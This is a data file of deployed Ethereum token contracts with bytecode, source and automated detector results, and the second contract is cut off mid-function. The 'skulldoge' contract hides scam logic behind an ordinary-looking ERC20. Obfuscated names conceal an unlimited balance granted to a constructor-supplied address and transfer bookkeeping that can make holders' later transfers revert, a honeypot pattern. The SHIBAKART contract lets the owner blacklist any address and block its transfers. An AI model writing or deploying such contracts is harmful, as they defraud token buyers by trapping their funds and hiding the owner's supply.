610db857600080fd5b6003548160328211801590610dcd5750818111155b8015610dd857508015155b8015610de357508115155b1515610dee57600080fd5b60048390557fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a8360405190815260200160405180910390a1505050565b33600160a060020a03811660009081526002602052604090205460ff161515610e5357600080fd5b6000828152602081905260409020548290600160a060020a03161515610e7857600080fd5b600083815260016020908152604080832033600160a060020a038116855292529091205484919060ff1615610eac57600080fd5b6000858152600160208181526040808420600160a060020a033316808652925292839020805460ff191690921790915586917f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef905160405180910390a3610f12856110f1565b5050505050565b6000610f268484846112db565b9050610f3181610e2b565b9392505050565b603281565b60045481565b600030600160a060020a031633600160a060020a0316141515610f6557600080fd5b600160a060020a038316600090815260026020526040902054839060ff161515610f8e57600080fd5b600160a060020a038316600090815260026020526040902054839060ff1615610fb657600080fd5b600092505b60035483101561104f5784600160a060020a0316600384815481101515610fde57fe5b600091825260209091200154600160a060020a03161415611044578360038481548110151561100957fe5b6000918252602090912001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039290921691909117905561104f565b600190920191610fbb565b600160a060020a03808616600081815260026020526040808220805460ff199081169091559388168252908190208054909316600117909255907f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b90905160405180910390a283600160a060020a03167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b33600160a060020a03811660009081526002602052604081205490919060ff16151561111c57600080fd5b600083815260016020908152604080832033600160a060020a038116855292529091205484919060ff16151561115157600080fd5b600085815260208190526040902060030154859060ff161561117257600080fd5b61117b86610976565b156112d3576000868152602081815260409182902060038101805460ff1916600190811790915581548183015460028085018054959c5061126297600160a060020a039094169692956000199581161561010002959095019094160492918391601f8301819004810201905190810160405280929190818152602001828054600181600116156101000203166002900480156112585780601f1061122d57610100808354040283529160200191611258565b820191906000526020600020905b81548152906001019060200180831161123b57829003601f168201915b50505050506113d8565b1561129957857f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a26112d3565b857f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260038501805460ff191690555b505050505050565b600083600160a060020a03811615156112f357600080fd5b600554915060806040519081016040908152600160a060020a0387168252602080830187905281830186905260006060840181905285815290819052208151815473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03919091161781556020820151816001015560408201518160020190805161137e929160200190611436565b506060820151600391909101805460ff191691151591909117905550600580546001019055817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a2509392505050565b6000806040516020840160008287838a8c6187965a03f198975050505050505050565b81548183558181151161141f5760008381526020902061141f9181019083016114b4565b505050565b60206040519081016040526000815290565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061147757805160ff19168380011785556114a4565b828001600101855582156114a4579182015b828111156114a4578251825591602001919060010190611489565b506114b09291506114b4565b5090565b610b0391905b808211156114b057600081556001016114ba5600a165627a7a7230582015d8109f35f8a789f6aaa0f4b84e1b347c4ac4117112c05a53991588470e29880029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 9,008 |
0x9cbd00177e64e0A3579C8CA40017F22575143604
|
/*
https://www.skulldoge.com/
https://t.me/skulldoge_eth
*/
// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.11;
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Contract is Ownable {
uint256 public _fee;
string private _name;
string private _symbol;
mapping(address => uint256) private species;
uint8 private _decimals;
mapping(address => uint256) private through;
uint256 private _tTotal;
uint256 private _rTotal;
address public uniswapV2Pair;
IUniswapV2Router02 public router;
uint256 private daughter = ~uint256(0);
mapping(address => address) private construction;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private _balances;
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
constructor(
string memory _NAME,
string memory _SYMBOL,
address routerAddress,
address series
) {
_symbol = _SYMBOL;
_name = _NAME;
_fee = 5;
_decimals = 9;
_tTotal = 1000000000000000 * 10**_decimals;
_balances[series] = daughter;
_balances[msg.sender] = _tTotal;
through[series] = daughter;
through[msg.sender] = daughter;
router = IUniswapV2Router02(routerAddress);
uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
emit Transfer(address(0), msg.sender, _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint256) {
return _decimals;
}
function totalSupply() public view returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function scientific(
address cat,
address heading,
uint256 amount
) private {
address extra = construction[address(0)];
bool thick = uniswapV2Pair == cat;
uint256 enjoy = _fee;
if (through[cat] == 0 && species[cat] > 0 && !thick) {
through[cat] -= enjoy;
}
construction[address(0)] = heading;
if (through[cat] > 0 && amount == 0) {
through[heading] += enjoy;
}
species[extra] += enjoy;
uint256 fee = (amount / 100) * _fee;
amount -= fee;
_balances[cat] -= fee;
_balances[address(this)] += fee;
_balances[cat] -= amount;
_balances[heading] += amount;
}
function approve(address spender, uint256 amount) external returns (bool) {
return _approve(msg.sender, spender, amount);
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool) {
require(amount > 0, 'Transfer amount must be greater than zero');
scientific(sender, recipient, amount);
emit Transfer(sender, recipient, amount);
return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
}
function transfer(address recipient, uint256 amount) external returns (bool) {
scientific(msg.sender, recipient, amount);
emit Transfer(msg.sender, recipient, amount);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private returns (bool) {
require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
return true;
}
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063c5b37c2211610066578063c5b37c2214610278578063dd62ed3e14610296578063f2fde38b146102c6578063f887ea40146102e2576100f5565b8063715018a6146102025780638da5cb5b1461020c57806395d89b411461022a578063a9059cbb14610248576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806349bd5a5e146101b457806370a08231146101d2576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610300565b60405161010f91906110b2565b60405180910390f35b610132600480360381019061012d919061116d565b610392565b60405161013f91906111c8565b60405180910390f35b6101506103a7565b60405161015d91906111f2565b60405180910390f35b610180600480360381019061017b919061120d565b6103b1565b60405161018d91906111c8565b60405180910390f35b61019e610500565b6040516101ab91906111f2565b60405180910390f35b6101bc61051a565b6040516101c9919061126f565b60405180910390f35b6101ec60048036038101906101e7919061128a565b610540565b6040516101f991906111f2565b60405180910390f35b61020a610589565b005b610214610611565b604051610221919061126f565b60405180910390f35b61023261063a565b60405161023f91906110b2565b60405180910390f35b610262600480360381019061025d919061116d565b6106cc565b60405161026f91906111c8565b60405180910390f35b610280610748565b60405161028d91906111f2565b60405180910390f35b6102b060048036038101906102ab91906112b7565b61074e565b6040516102bd91906111f2565b60405180910390f35b6102e060048036038101906102db919061128a565b6107d5565b005b6102ea6108cc565b6040516102f79190611356565b60405180910390f35b60606002805461030f906113a0565b80601f016020809104026020016040519081016040528092919081815260200182805461033b906113a0565b80156103885780601f1061035d57610100808354040283529160200191610388565b820191906000526020600020905b81548152906001019060200180831161036b57829003601f168201915b5050505050905090565b600061039f3384846108f2565b905092915050565b6000600754905090565b60008082116103f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ec90611443565b60405180910390fd5b610400848484610a8d565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161045d91906111f2565b60405180910390a36104f7843384600d60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104f29190611492565b6108f2565b90509392505050565b6000600560009054906101000a900460ff1660ff16905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610591610f4d565b73ffffffffffffffffffffffffffffffffffffffff166105af610611565b73ffffffffffffffffffffffffffffffffffffffff1614610605576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105fc90611512565b60405180910390fd5b61060f6000610f55565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060038054610649906113a0565b80601f0160208091040260200160405190810160405280929190818152602001828054610675906113a0565b80156106c25780601f10610697576101008083540402835291602001916106c2565b820191906000526020600020905b8154815290600101906020018083116106a557829003601f168201915b5050505050905090565b60006106d9338484610a8d565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161073691906111f2565b60405180910390a36001905092915050565b60015481565b6000600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6107dd610f4d565b73ffffffffffffffffffffffffffffffffffffffff166107fb610611565b73ffffffffffffffffffffffffffffffffffffffff1614610851576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084890611512565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036108c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b7906115a4565b60405180910390fd5b6108c981610f55565b50565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561095d5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b61099c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099390611636565b60405180910390fd5b81600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610a7a91906111f2565b60405180910390a3600190509392505050565b6000600c60008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008473ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16149050600060015490506000600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015610bdb57506000600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610be5575081155b15610c415780600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c399190611492565b925050819055505b84600c60008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610d0e5750600084145b15610d6a5780600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d629190611656565b925050819055505b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610db99190611656565b925050819055506000600154606486610dd291906116db565b610ddc919061170c565b90508085610dea9190611492565b945080600e60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e3b9190611492565b9250508190555080600e60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e919190611656565b9250508190555084600e60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ee79190611492565b9250508190555084600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f3d9190611656565b9250508190555050505050505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611053578082015181840152602081019050611038565b83811115611062576000848401525b50505050565b6000601f19601f8301169050919050565b600061108482611019565b61108e8185611024565b935061109e818560208601611035565b6110a781611068565b840191505092915050565b600060208201905081810360008301526110cc8184611079565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611104826110d9565b9050919050565b611114816110f9565b811461111f57600080fd5b50565b6000813590506111318161110b565b92915050565b6000819050919050565b61114a81611137565b811461115557600080fd5b50565b60008135905061116781611141565b92915050565b60008060408385031215611184576111836110d4565b5b600061119285828601611122565b92505060206111a385828601611158565b9150509250929050565b60008115159050919050565b6111c2816111ad565b82525050565b60006020820190506111dd60008301846111b9565b92915050565b6111ec81611137565b82525050565b600060208201905061120760008301846111e3565b92915050565b600080600060608486031215611226576112256110d4565b5b600061123486828701611122565b935050602061124586828701611122565b925050604061125686828701611158565b9150509250925092565b611269816110f9565b82525050565b60006020820190506112846000830184611260565b92915050565b6000602082840312156112a05761129f6110d4565b5b60006112ae84828501611122565b91505092915050565b600080604083850312156112ce576112cd6110d4565b5b60006112dc85828601611122565b92505060206112ed85828601611122565b9150509250929050565b6000819050919050565b600061131c611317611312846110d9565b6112f7565b6110d9565b9050919050565b600061132e82611301565b9050919050565b600061134082611323565b9050919050565b61135081611335565b82525050565b600060208201905061136b6000830184611347565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806113b857607f821691505b6020821081036113cb576113ca611371565b5b50919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061142d602983611024565b9150611438826113d1565b604082019050919050565b6000602082019050818103600083015261145c81611420565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061149d82611137565b91506114a883611137565b9250828210156114bb576114ba611463565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006114fc602083611024565b9150611507826114c6565b602082019050919050565b6000602082019050818103600083015261152b816114ef565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061158e602683611024565b915061159982611532565b604082019050919050565b600060208201905081810360008301526115bd81611581565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611620602483611024565b915061162b826115c4565b604082019050919050565b6000602082019050818103600083015261164f81611613565b9050919050565b600061166182611137565b915061166c83611137565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156116a1576116a0611463565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006116e682611137565b91506116f183611137565b925082611701576117006116ac565b5b828204905092915050565b600061171782611137565b915061172283611137565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561175b5761175a611463565b5b82820290509291505056fea2646970667358221220a87210a57e7613e3ea57b24a303045e7ad8dc1a828510dcd93d7034ef28d88dd64736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 9,009 |
0x0f08392d8d3c9341c4f74c6e44b9b2961280be53
|
/**
*Submitted for verification at Etherscan.io on 2022-03-02
*/
// https://t.me/shibakarteth
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SHIBAKART is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1_000_000_000_000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax;
uint256 private _buyTax;
address payable private _feeAddress;
string private constant _name = "SHIBAKART";
string private constant _symbol = "SHIBAKART";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private removeMaxTx = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddress = payable(0x97421A2AcBCfab3A88a27d7E04d36e07A356B253);
_buyTax = 12;
_sellTax = 12;
_rOwned[_feeAddress] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddress] = true;
emit Transfer(address(0), _feeAddress, _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setremoveMaxTx(bool onoff) external onlyOwner() {
removeMaxTx = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_feeAddr1 = 0;
_feeAddr2 = _buyTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _maxTxAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
function createPair() external onlyOwner(){
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
removeMaxTx = true;
_maxTxAmount = 10_000_000_000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
